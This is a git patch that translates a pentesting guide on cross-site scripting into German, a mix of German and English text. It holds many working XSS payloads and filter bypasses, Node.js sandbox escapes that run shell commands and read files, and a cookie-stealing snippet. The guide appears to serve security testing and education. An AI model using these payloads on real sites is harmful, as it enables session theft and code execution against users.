From cfcd37cb354854a96f6389d48c112d85e48c2f9d Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 19:29:28 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-web/xss-cross-site-scripting/js-hoisting --- .../xss-cross-site-scripting/README.md | 528 ++++++++++-------- .../xss-cross-site-scripting/js-hoisting.md | 48 +- 2 files changed, 327 insertions(+), 249 deletions(-) diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 4982a1d9a..e012aec1c 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -2,82 +2,83 @@ {{#include ../../banners/hacktricks-training.md}} -## Methodologie +## Methodology -1. Überprüfen Sie, ob **irgendein Wert, den Sie kontrollieren** (_Parameter_, _Pfad_, _Header_?, _Cookies_?) im HTML **reflektiert** oder von **JS**-Code **verwendet** wird. -2. **Finden Sie den Kontext**, in dem es reflektiert/verwendet wird. -3. Wenn **reflektiert**: -1. Überprüfen Sie, **welche Symbole Sie verwenden können** und bereiten Sie je nach dem die Payload vor: -1. In **rohem HTML**: -1. Können Sie neue HTML-Tags erstellen? -2. Können Sie Ereignisse oder Attribute verwenden, die das `javascript:`-Protokoll unterstützen? -3. Können Sie Schutzmaßnahmen umgehen? -4. Wird der HTML-Inhalt von einer clientseitigen JS-Engine (_AngularJS_, _VueJS_, _Mavo_...) interpretiert, könnten Sie eine [**Client Side Template Injection**](../client-side-template-injection-csti.md) ausnutzen. -5. Wenn Sie keine HTML-Tags erstellen können, die JS-Code ausführen, könnten Sie eine [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html) ausnutzen? -2. Innerhalb eines **HTML-Tags**: -1. Können Sie in den rohen HTML-Kontext wechseln? -2. Können Sie neue Ereignisse/Attribute erstellen, um JS-Code auszuführen? -3. Unterstützt das Attribut, in dem Sie gefangen sind, die Ausführung von JS? -4. Können Sie Schutzmaßnahmen umgehen? -3. Innerhalb **JavaScript-Code**: -1. Können Sie das ``**-Tags einer HTML-Seite, in einer `.js`-Datei oder innerhalb eines Attributs mit dem **`javascript:`**-Protokoll reflektiert: +In diesem Fall wird deine Eingabe zwischen **``**-Tags einer HTML-Seite, in einer `.js`-Datei oder in einem Attribut mit dem **`javascript:`**-Protokoll reflektiert: -- Wenn sie zwischen **``**-Tags reflektiert wird, können Sie versuchen, `` einzufügen und aus diesem Kontext auszubrechen, selbst wenn Ihre Eingabe in irgendeiner Art von Anführungszeichen steht. Dies funktioniert, weil der **Browser zuerst die HTML-Tags** parst und dann den Inhalt, daher wird er nicht bemerken, dass Ihr injiziertes ``-Tag im HTML-Code enthalten ist. -- Wenn sie **innerhalb eines JS-Strings** reflektiert wird und der letzte Trick nicht funktioniert, müssen Sie den String **verlassen**, Ihren Code **ausführen** und den JS-Code **rekonstruieren** (wenn ein Fehler auftritt, wird er nicht ausgeführt): +- Wenn es zwischen **``**-Tags reflektiert wird, selbst wenn deine Eingabe in irgendeiner Art von Anführungszeichen steht, kannst du versuchen `` zu injizieren und aus diesem Kontext auszubrechen. Das funktioniert, weil der **Browser zuerst die HTML-Tags** und dann den Inhalt parst; daher wird er nicht bemerken, dass dein injiziertes ``-Tag innerhalb des HTML-Codes liegt. +- Wenn es **innerhalb eines JS-Strings** reflektiert wird und der letzte Trick nicht funktioniert, musst du den **String verlassen**, deinen Code **ausführen** und den JS-Code **rekonstruieren** (wenn ein Fehler auftritt, wird er nicht ausgeführt: - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` -- Wenn sie innerhalb von Template-Literalen reflektiert wird, können Sie **JS-Ausdrücke** mit der `${ ... }`-Syntax einbetten: `` var greetings = `Hello, ${alert(1)}` `` -- **Unicode-Encoding** funktioniert, um **gültigen JavaScript-Code** zu schreiben: +- Wenn es innerhalb von template literals reflektiert wird, kannst du **JS-Ausdrücke einbetten** mit der `${ ... }`-Syntax: `` var greetings = `Hello, ${alert(1)}` `` +- **Unicode-Encoding** funktioniert, um **gültigen javascript-Code** zu schreiben: ```javascript alert(1) alert(1) @@ -85,29 +86,29 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting bezieht sich auf die Möglichkeit, **Funktionen, Variablen oder Klassen nach ihrer Verwendung zu deklarieren, sodass Sie Szenarien ausnutzen können, in denen ein XSS nicht deklarierte Variablen oder Funktionen verwendet.**\ -**Überprüfen Sie die folgende Seite für weitere Informationen:** +Javascript Hoisting bezieht sich auf die Möglichkeit, **Funktionen, Variablen oder Klassen erst nach ihrer Verwendung zu deklarieren, sodass man Szenarien ausnutzen kann, in denen ein XSS undeclared variables oder functions benutzt.**\ +**Check the following page for more info:** {{#ref}} js-hoisting.md {{#endref}} -### Javascript Funktion +### Javascript Function -Mehrere Webseiten haben Endpunkte, die **den Namen der auszuführenden Funktion als Parameter akzeptieren**. Ein häufiges Beispiel, das man in der Wildnis sieht, ist etwas wie: `?callback=callbackFunc`. +Mehrere Webseiten haben Endpoints, die **als Parameter den Namen der auszuführenden Funktion akzeptieren**. Ein gängiges Beispiel in der Praxis ist so etwas wie: `?callback=callbackFunc`. -Eine gute Möglichkeit herauszufinden, ob etwas, das direkt vom Benutzer gegeben wird, versucht wird auszuführen, ist **den Parameterwert zu ändern** (zum Beispiel auf 'Vulnerable') und in der Konsole nach Fehlern zu suchen wie: +Eine gute Methode, um herauszufinden, ob etwas, das direkt vom Nutzer kommt, ausgeführt werden soll, ist **den Parameterwert zu verändern** (zum Beispiel zu 'Vulnerable') und in der Konsole nach Fehlern zu suchen wie: ![](<../../images/image (711).png>) -Falls es anfällig ist, könnten Sie in der Lage sein, **einen Alert auszulösen**, indem Sie einfach den Wert senden: **`?callback=alert(1)`**. Es ist jedoch sehr häufig, dass diese Endpunkte **den Inhalt validieren**, um nur Buchstaben, Zahlen, Punkte und Unterstriche zuzulassen (**`[\w\._]`**). +Falls es verwundbar ist, könntest du ein **alert** auslösen, indem du einfach den Wert sendest: **`?callback=alert(1)`**. Sehr häufig validieren diese Endpoints jedoch den Inhalt, um nur Buchstaben, Zahlen, Punkte und Unterstriche zu erlauben (**`[\w\._]`**). -Dennoch ist es selbst mit dieser Einschränkung möglich, einige Aktionen durchzuführen. Das liegt daran, dass Sie diese gültigen Zeichen verwenden können, um **auf jedes Element im DOM zuzugreifen**: +Allerdings ist es selbst mit dieser Einschränkung noch möglich, bestimmte Aktionen auszuführen. Das liegt daran, dass du diese erlaubten Zeichen nutzen kannst, um **auf beliebige Elemente im DOM zuzugreifen**: ![](<../../images/image (747).png>) -Einige nützliche Funktionen dafür: +Some useful functions for this: ``` firstElementChild lastElementChild @@ -115,11 +116,12 @@ nextElementSibiling lastElementSibiling parentElement ``` -Sie können auch versuchen, **Javascript-Funktionen** direkt auszulösen: `obj.sales.delOrders`. +Du kannst auch versuchen, **Javascript-Funktionen direkt auszulösen**: `obj.sales.delOrders`. -In der Regel sind die Endpunkte, die die angegebene Funktion ausführen, jedoch Endpunkte ohne viel interessantes DOM, **andere Seiten im selben Ursprung** haben ein **interessanteres DOM**, um mehr Aktionen durchzuführen. +Allerdings sind die Endpunkte, die die angegebene Funktion ausführen, normalerweise Endpunkte ohne viel interessanten DOM. **Andere Seiten in derselben Origin** haben oft einen **interessanteren DOM**, um mehr Aktionen durchzuführen. + +Daher wurde, um **diese Verwundbarkeit in einem anderen DOM zu missbrauchen**, die Exploitation **Same Origin Method Execution (SOME)** entwickelt: -Daher wurde zur **Ausnutzung dieser Schwachstelle in einem anderen DOM** die **Same Origin Method Execution (SOME)**-Ausnutzung entwickelt: {{#ref}} some-same-origin-method-execution.md @@ -127,36 +129,39 @@ some-same-origin-method-execution.md ### DOM -Es gibt **JS-Code**, der **unsicher** einige **von einem Angreifer kontrollierte Daten** wie `location.href` verwendet. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen. +Es gibt **JS code**, der **unsicher** mit Daten umgeht, die von einem Angreifer kontrolliert werden, wie `location.href`. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen. + {{#ref}} dom-xss.md {{#endref}} -### **Universelles XSS** +### **Universal XSS** -Diese Art von XSS kann **überall** gefunden werden. Sie hängt nicht nur von der Client-Ausnutzung einer Webanwendung ab, sondern von **jedem** **Kontext**. Diese Art der **beliebigen JavaScript-Ausführung** kann sogar ausgenutzt werden, um **RCE** zu erhalten, **beliebige** **Dateien** auf Clients und Servern zu lesen und mehr.\ +Diese Art von XSS kann **überall** gefunden werden. Sie hängen nicht nur von der Client-Ausnutzung einer Webanwendung ab, sondern von **jedem** **Kontext**. Diese Art der **beliebigen JavaScript-Ausführung** kann sogar dazu missbraucht werden, **RCE** zu erlangen, **beliebige** **Dateien** auf Clients und Servern zu **lesen** und mehr.\ Einige **Beispiele**: + {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} + {{#ref}} ../../network-services-pentesting/pentesting-web/electron-desktop-apps/ {{#endref}} -## WAF-Bypass-Codierung Bild +## WAF bypass encoding image -![von https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) +![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) -## In rohem HTML injizieren +## Injektion in rohes HTML -Wenn Ihre Eingabe **innerhalb der HTML-Seite** widergespiegelt wird oder Sie HTML-Code in diesem Kontext entkommen und injizieren können, ist das **erste**, was Sie tun müssen, zu überprüfen, ob Sie `<` ausnutzen können, um neue Tags zu erstellen: Versuchen Sie einfach, dieses **Zeichen** zu **reflektieren** und zu überprüfen, ob es **HTML-codiert** oder **gelöscht** wird oder ob es **unverändert widergespiegelt** wird. **Nur im letzten Fall werden Sie in der Lage sein, diesen Fall auszunutzen**.\ -Für diese Fälle sollten Sie auch **an** [**Client Side Template Injection**](../client-side-template-injection-csti.md)** denken.**\ -_**Hinweis: Ein HTML-Kommentar kann mit\*\***\***\*`-->`\*\***\***\*oder \*\***`--!>`\*\*geschlossen werden._ +Wenn deine Eingabe **im HTML der Seite** reflektiert wird oder du in diesem Kontext HTML-Code escapen und injizieren kannst, ist das **erste**, was du tun musst, zu prüfen, ob du `<` missbrauchen kannst, um neue Tags zu erstellen: Versuche einfach, dieses **Zeichen** zu **reflektieren** und prüfe, ob es **HTML encoded** oder **gelöscht** wird oder ob es **unverändert reflektiert** wird. **Nur im letzten Fall wirst du diese Schwachstelle ausnutzen können**.\ +Für diese Fälle solltest du auch [**Client Side Template Injection**](../client-side-template-injection-csti.md) **im Hinterkopf behalten**.\ +_**Hinweis: Ein HTML-Kommentar kann mit `-->` oder `--!>` geschlossen werden**_ -In diesem Fall und wenn keine Black-/Whitelisting verwendet wird, könnten Sie Payloads wie verwenden: +In diesem Fall und falls kein Black/Whitelisting verwendet wird, könntest du Payloads wie: ```html `-Tags oder zwischen HTML-Events, die JS-Code ausführen können, oder zwischen Attributen, die das `javascript:`-Protokoll akzeptieren, **reflektiert**. +In diesen Fällen wird dein **input** innerhalb des JS-Codes einer `.js`-Datei oder zwischen ``-Tags oder zwischen HTML-Events, die JS-Code ausführen können, oder in Attributen, die das `javascript:`-Protokoll akzeptieren, reflektiert. -### Escaping des \` eingefügt wird, könntest du leicht **das schließende `` eingefügt wird, kannst du leicht das Schließen des ` ``` -Beachten Sie, dass wir in diesem Beispiel **das einfache Anführungszeichen nicht einmal geschlossen haben**. Dies liegt daran, dass **die HTML-Analyse zuerst vom Browser durchgeführt wird**, was die Identifizierung von Seitenelementen, einschließlich Skriptblöcken, umfasst. Die Analyse von JavaScript, um die eingebetteten Skripte zu verstehen und auszuführen, erfolgt erst danach. +Beachte, dass wir in diesem Beispiel **nicht einmal das einfache Anführungszeichen geschlossen haben**. Das liegt daran, dass das **HTML-Parsen zuerst vom Browser durchgeführt wird**, wobei Seiten-Elemente identifiziert werden, einschließlich Script-Blöcken. Das Parsen von JavaScript, um die eingebetteten Skripte zu verstehen und auszuführen, erfolgt erst danach. -### Innerhalb des JS-Codes +### Innerhalb von JS-Code -Wenn `<>` bereinigt werden, können Sie dennoch **den String escapen**, wo Ihre Eingabe **lokalisiert** ist und **willkürliches JS ausführen**. Es ist wichtig, die **JS-Syntax zu korrigieren**, denn wenn es Fehler gibt, wird der JS-Code nicht ausgeführt: +Wenn `<>` bereinigt werden, kannst du trotzdem die **Zeichenkette escapen** dort, wo deine Eingabe **sich befindet**, und **beliebigen JS-Code ausführen**. Es ist wichtig, die **JS-Syntax zu korrigieren**, denn wenn Fehler vorhanden sind, wird der JS-Code nicht ausgeführt: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` -### Template literals \`\` +#### JS-in-JS string break → inject → repair pattern -Um **Strings** neben einfachen und doppelten Anführungszeichen zu erstellen, akzeptiert JS auch **Backticks** **` `` `**. Dies wird als Template-Literale bezeichnet, da sie es ermöglichen, **JS-Ausdrücke** mit der `${ ... }`-Syntax einzubetten.\ -Wenn Sie also feststellen, dass Ihre Eingabe innerhalb eines JS-Strings, der Backticks verwendet, **reflektiert** wird, können Sie die Syntax `${ ... }` missbrauchen, um **willkürlichen JS-Code** auszuführen: +Wenn Benutzereingaben in eine zitierte JavaScript-Zeichenkette gelangen (z. B. serverseitiges Echo in ein Inline-Skript), kannst du die Zeichenkette beenden, Code injizieren und die Syntax reparieren, damit das Parsen gültig bleibt. Generisches Grundgerüst: +``` +" // end original string +; // safely terminate the statement + // attacker-controlled JS +; a = " // repair and resume expected string/statement +``` +Beispiel für ein URL-Muster, wenn der verwundbare Parameter in einen JS-String reflektiert wird: +``` +?param=test";;a=" +``` +This führt attacker JS aus, ohne den HTML-Kontext berühren zu müssen (pure JS-in-JS). Mit blacklist bypasses unten kombinieren, wenn Filter keywords blockieren. -Dies kann **missbraucht** werden mit: +### Template literals `` + +Um **strings** zu erzeugen akzeptiert JS neben single und double quotes auch **backticks** **` `` `**. Dies ist als template literals bekannt, da sie das Einbetten von **embedded JS expressions** mittels `${ ... }`-Syntax erlauben.\ +Wenn dein Input also innerhalb eines JS-Strings, der backticks verwendet, **reflected** wird, kannst du die Syntax `${ ... }` missbrauchen, um **arbitrary JS code** auszuführen: + +Das lässt sich wie folgt **missbrauchen**: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` @@ -507,20 +526,35 @@ return loop } loop`` ``` -### Codierte Codeausführung +### Encoded code execution ```html ``` -**Javascript innerhalb eines Kommentars** +**Javascript in einem Kommentar** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send @@ -681,7 +715,7 @@ try{throw onerror=alert}catch{throw 1} - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) -**Willkürlicher Funktionsaufruf (alert)** +**Beliebiger Funktionsaufruf (alert)** ```javascript //Eval like functions eval('ale'+'rt(1)') @@ -741,56 +775,56 @@ top['al\x65rt'](1) top[8680439..toString(30)](1) ``` -## **DOM-Schwachstellen** +## **DOM vulnerabilities** -Es gibt **JS-Code**, der **unsichere Daten, die von einem Angreifer kontrolliert werden**, wie `location.href`, verwendet. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.\ -**Aufgrund der Erweiterung der Erklärung von** [**DOM-Schwachstellen wurde es auf diese Seite verschoben**](dom-xss.md)**:** +Es gibt **JS code**, der **unsichere Daten verwendet, die von einem attacker kontrolliert werden**, wie `location.href`. Ein attacker könnte dies missbrauchen, um beliebigen JS code auszuführen.\ +**Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:** {{#ref}} dom-xss.md {{#endref}} -Dort finden Sie eine detaillierte **Erklärung, was DOM-Schwachstellen sind, wie sie provoziert werden und wie man sie ausnutzt**.\ -Vergessen Sie auch nicht, dass **am Ende des erwähnten Beitrags** eine Erklärung über [**DOM Clobbering-Angriffe**](dom-xss.md#dom-clobbering) zu finden ist. +Dort findest du eine ausführliche **Erklärung, was DOM vulnerabilities sind, wie sie provoziert werden und wie man sie ausnutzen kann**.\ +Außerdem findest du **am Ende des genannten Beitrags** eine Erklärung zu [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering). -### Selbst-XSS aufrüsten +### Upgrading Self-XSS -### Cookie-XSS +### Cookie XSS -Wenn Sie ein XSS auslösen können, indem Sie die Payload in einem Cookie senden, handelt es sich normalerweise um ein Selbst-XSS. Wenn Sie jedoch eine **anfällige Subdomain für XSS** finden, könnten Sie dieses XSS ausnutzen, um ein Cookie in der gesamten Domain einzufügen und so das Cookie-XSS in der Hauptdomain oder anderen Subdomains (denen, die anfällig für Cookie-XSS sind) auszulösen. Dafür können Sie den Cookie-Tossing-Angriff verwenden: +If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a **vulnerable subdomain to XSS**, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack: {{#ref}} ../hacking-with-cookies/cookie-tossing.md {{#endref}} -Sie finden einen großartigen Missbrauch dieser Technik in [**diesem Blogbeitrag**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). +You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). -### Ihre Sitzung an den Administrator senden +### Sending your session to the admin -Vielleicht kann ein Benutzer sein Profil mit dem Administrator teilen, und wenn das Selbst-XSS im Profil des Benutzers ist und der Administrator darauf zugreift, wird er die Schwachstelle auslösen. +Vielleicht kann ein user sein Profil mit dem admin teilen; befindet sich das Self-XSS im Profil des user und der admin greift darauf zu, löst er die Sicherheitslücke aus. -### Sitzungs-Spiegelung +### Session Mirroring -Wenn Sie ein Selbst-XSS finden und die Webseite eine **Sitzungs-Spiegelung für Administratoren** hat, die es beispielsweise Kunden ermöglicht, um Hilfe zu bitten, wird der Administrator sehen, was Sie in Ihrer Sitzung sehen, aber aus seiner Sitzung heraus. +Wenn du ein Self XSS findest und die Webseite eine **session mirroring for administrators** hat, z. B. wenn Clients um Hilfe bitten können und der admin dir helfen soll, sieht er genau das, was du in deiner session siehst, aber aus seiner session. -Sie könnten den **Administrator dazu bringen, Ihr Selbst-XSS auszulösen** und seine Cookies/Sitzung stehlen. +Du könntest den **administrator dazu bringen, dein self XSS auszulösen** und so seine cookies/session stehlen. -## Andere Umgehungen +## Andere Bypasses -### Normalisierte Unicode +### Normalised Unicode -Sie könnten überprüfen, ob die **reflektierten Werte** auf dem Server (oder auf der Client-Seite) **unicode-normalisiert** werden und diese Funktionalität ausnutzen, um Schutzmaßnahmen zu umgehen. [**Hier ein Beispiel finden**](../unicode-injection/index.html#xss-cross-site-scripting). +Du könntest prüfen, ob die **reflected values** auf dem Server (oder clientseitig) **unicode normalized** werden und diese Funktionalität ausnutzen, um Schutzmaßnahmen zu bypassen. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting). -### PHP FILTER_VALIDATE_EMAIL-Flag-Umgehung +### PHP FILTER_VALIDATE_EMAIL flag Bypass ```javascript ">"@x.y ``` ### Ruby-On-Rails bypass -Aufgrund der **RoR-Massenzuweisung** werden Anführungszeichen in das HTML eingefügt und dann wird die Anführungszeichenbeschränkung umgangen, sodass zusätzliche Felder (onfocus) innerhalb des Tags hinzugefügt werden können.\ -Formbeispiel ([aus diesem Bericht](https://hackerone.com/reports/709336)), wenn Sie die Payload senden: +Aufgrund von **RoR mass assignment** werden Anführungszeichen in das HTML eingefügt, wodurch die Beschränkung durch Anführungszeichen umgangen wird und zusätzliche Felder (onfocus) innerhalb des Tags hinzugefügt werden können.\ +Formularbeispiel ([from this report](https://hackerone.com/reports/709336)), wenn du die Payload sendest: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` @@ -830,24 +864,24 @@ Dann wird das onfocus-Attribut eingefügt und XSS tritt auf. window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` -### XSS mit Header-Injection in einer 302-Antwort +### XSS mit Header-Injektion in einer 302-Antwort -Wenn Sie feststellen, dass Sie **Header in einer 302-Redirect-Antwort injizieren** können, könnten Sie versuchen, **den Browser dazu zu bringen, beliebiges JavaScript auszuführen**. Dies ist **nicht trivial**, da moderne Browser den HTTP-Antwortkörper nicht interpretieren, wenn der HTTP-Antwortstatuscode 302 ist, sodass eine Cross-Site-Scripting-Nutzlast nutzlos ist. +If you find that you can **inject headers in a 302 Redirect response** you could try to **make the browser execute arbitrary JavaScript**. This is **not trivial** as modern browsers do not interpret the HTTP response body if the HTTP response status code is a 302, so just a cross-site scripting payload is useless. -In [**diesem Bericht**](https://www.gremwell.com/firefox-xss-302) und [**diesem hier**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) können Sie lesen, wie Sie mehrere Protokolle im Location-Header testen können und ob eines von ihnen es dem Browser ermöglicht, die XSS-Nutzlast im Körper zu inspizieren und auszuführen.\ -Frühere bekannte Protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leerer Location-Header_, `resource://`. +In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.\ +Bekannte bisherige Protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`. -### Nur Buchstaben, Zahlen und Punkte +### Only Letters, Numbers and Dots -Wenn Sie in der Lage sind, den **Callback** anzugeben, den JavaScript ausführen wird, beschränkt auf diese Zeichen. [**Lesen Sie diesen Abschnitt dieses Beitrags**](#javascript-function), um herauszufinden, wie Sie dieses Verhalten ausnutzen können. +Wenn du den **callback** angeben kannst, den javascript ausführen wird, und dieser auf diese Zeichen beschränkt ist. [**Read this section of this post**](#javascript-function) um zu erfahren, wie man dieses Verhalten ausnutzen kann. -### Gültige ` @@ -946,13 +982,13 @@ Wenn die Seite einen text/xml Inhaltstyp zurückgibt, ist es möglich, einen Nam ``` -### Besondere Ersetzungsmuster +### Spezielle Ersetzungsmuster -Wenn etwas wie **`"some {{template}} data".replace("{{template}}", )`** verwendet wird. Der Angreifer könnte [**besondere Zeichenersetzungen**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) verwenden, um einige Schutzmaßnahmen zu umgehen: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` +Wenn etwas wie **`"some {{template}} data".replace("{{template}}", )`** verwendet wird, könnte ein Angreifer [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) nutzen, um einige Schutzmaßnahmen zu umgehen: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` -Zum Beispiel wurde in [**diesem Bericht**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) dies verwendet, um **einen JSON-String** innerhalb eines Skripts zu escapen und beliebigen Code auszuführen. +Zum Beispiel wurde dies in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) verwendet, um **einen JSON-String zu maskieren** innerhalb eines Scripts und beliebigen Code auszuführen. -### Chrome-Cache zu XSS +### Chrome Cache to XSS {{#ref}} @@ -961,7 +997,7 @@ chrome-cache-to-xss.md ### XS Jails Escape -Wenn Sie nur eine begrenzte Anzahl von Zeichen verwenden können, überprüfen Sie diese anderen gültigen Lösungen für XSJail-Probleme: +Wenn du nur eine begrenzte Auswahl an Zeichen verwenden kannst, sieh dir diese anderen gültigen Lösungen für XSJail-Probleme an: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() @@ -992,22 +1028,22 @@ constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` -Wenn **alles undefiniert ist**, bevor nicht vertrauenswürdigen Code ausgeführt wird (wie in [**diesem Bericht**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), ist es möglich, nützliche Objekte "aus dem Nichts" zu generieren, um die Ausführung beliebigen nicht vertrauenswürdigen Codes auszunutzen: +Wenn **everything is undefined** vor der Ausführung von untrusted code ist (wie in [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), ist es möglich, nützliche Objekte "aus dem Nichts" zu erzeugen, um die Ausführung von arbitrary untrusted code zu missbrauchen: -- Verwendung von import() +- Mit import() ```javascript // although import "fs" doesn’t work, import('fs') does. import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) ``` - Indirekter Zugriff auf `require` -[Nach dieser Quelle](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) werden Module von Node.js innerhalb einer Funktion eingekapselt, so wie folgt: +[Laut diesem](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) werden Module von Node.js innerhalb einer Funktion gekapselt, wie folgt: ```javascript ;(function (exports, require, module, __filename, __dirname) { // our actual module code }) ``` -Daher, wenn wir aus diesem Modul **eine andere Funktion aufrufen** können, ist es möglich, `arguments.callee.caller.arguments[1]` aus dieser Funktion zu verwenden, um auf **`require`** zuzugreifen: +Wenn wir also von diesem Modul aus **eine andere Funktion aufrufen** können, ist es möglich, `arguments.callee.caller.arguments[1]` aus dieser Funktion zu verwenden, um auf **`require`** zuzugreifen: ```javascript ;(function () { return arguments.callee.caller.arguments[1]("fs").readFileSync( @@ -1016,7 +1052,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync( ) })() ``` -Auf ähnliche Weise wie im vorherigen Beispiel ist es möglich, **Fehlerbehandler** zu verwenden, um auf den **Wrapper** des Moduls zuzugreifen und die **`require`**-Funktion zu erhalten: +Auf ähnliche Weise wie im vorherigen Beispiel ist es möglich, **error handlers** zu verwenden, um auf den **wrapper** des Moduls zuzugreifen und die **`require`**-Funktion zu erhalten: ```javascript try { null.f() @@ -1054,14 +1090,14 @@ console.log(req("child_process").execSync("id").toString()) } trigger() ``` -### Obfuskation & Fortgeschrittene Umgehung +### Obfuscation & Advanced Bypass -- **Verschiedene Obfuskationen auf einer Seite:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) +- **Verschiedene obfuscations auf einer Seite:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) - [http://www.jsfuck.com/](http://www.jsfuck.com) -- Mehr ausgeklügeltes JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) +- Mehr ausgefeilte JSFuck-Methoden: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) - [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) - [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) - [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) @@ -1235,25 +1271,25 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o] ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` -## XSS häufige Payloads +## XSS häufige payloads -### Mehrere Payloads in 1 +### Mehrere payloads in 1 {{#ref}} steal-info-js.md {{#endref}} -### Iframe Falle +### Iframe-Falle -Lassen Sie den Benutzer auf der Seite navigieren, ohne ein Iframe zu verlassen, und stehlen Sie seine Aktionen (einschließlich Informationen, die in Formularen gesendet werden): +Lässt den Nutzer auf der Seite navigieren, ohne ein iframe zu verlassen, und stiehlt seine Aktionen (einschließlich in Formularen übermittelter Informationen): {{#ref}} ../iframe-traps.md {{#endref}} -### Cookies abrufen +### Cookies auslesen ```javascript /?c="+document.cookie> @@ -1276,7 +1312,7 @@ Lassen Sie den Benutzer auf der Seite navigieren, ohne ein Iframe zu verlassen, ``` > [!TIP] -> Sie **werden nicht in der Lage sein, auf die Cookies von JavaScript zuzugreifen**, wenn das HTTPOnly-Flag im Cookie gesetzt ist. Aber hier haben Sie [einige Möglichkeiten, diesen Schutz zu umgehen](../hacking-with-cookies/index.html#httponly), wenn Sie genug Glück haben. +> Du **kannst von JavaScript nicht auf die cookies zugreifen**, wenn das HTTPOnly-Flag im cookie gesetzt ist. Aber hier findest du [einige Möglichkeiten, diesen Schutz zu umgehen](../hacking-with-cookies/index.html#httponly), wenn du Glück hast. ### Seiteninhalt stehlen ```javascript @@ -1367,15 +1403,15 @@ console.log("Port " + this.port+ 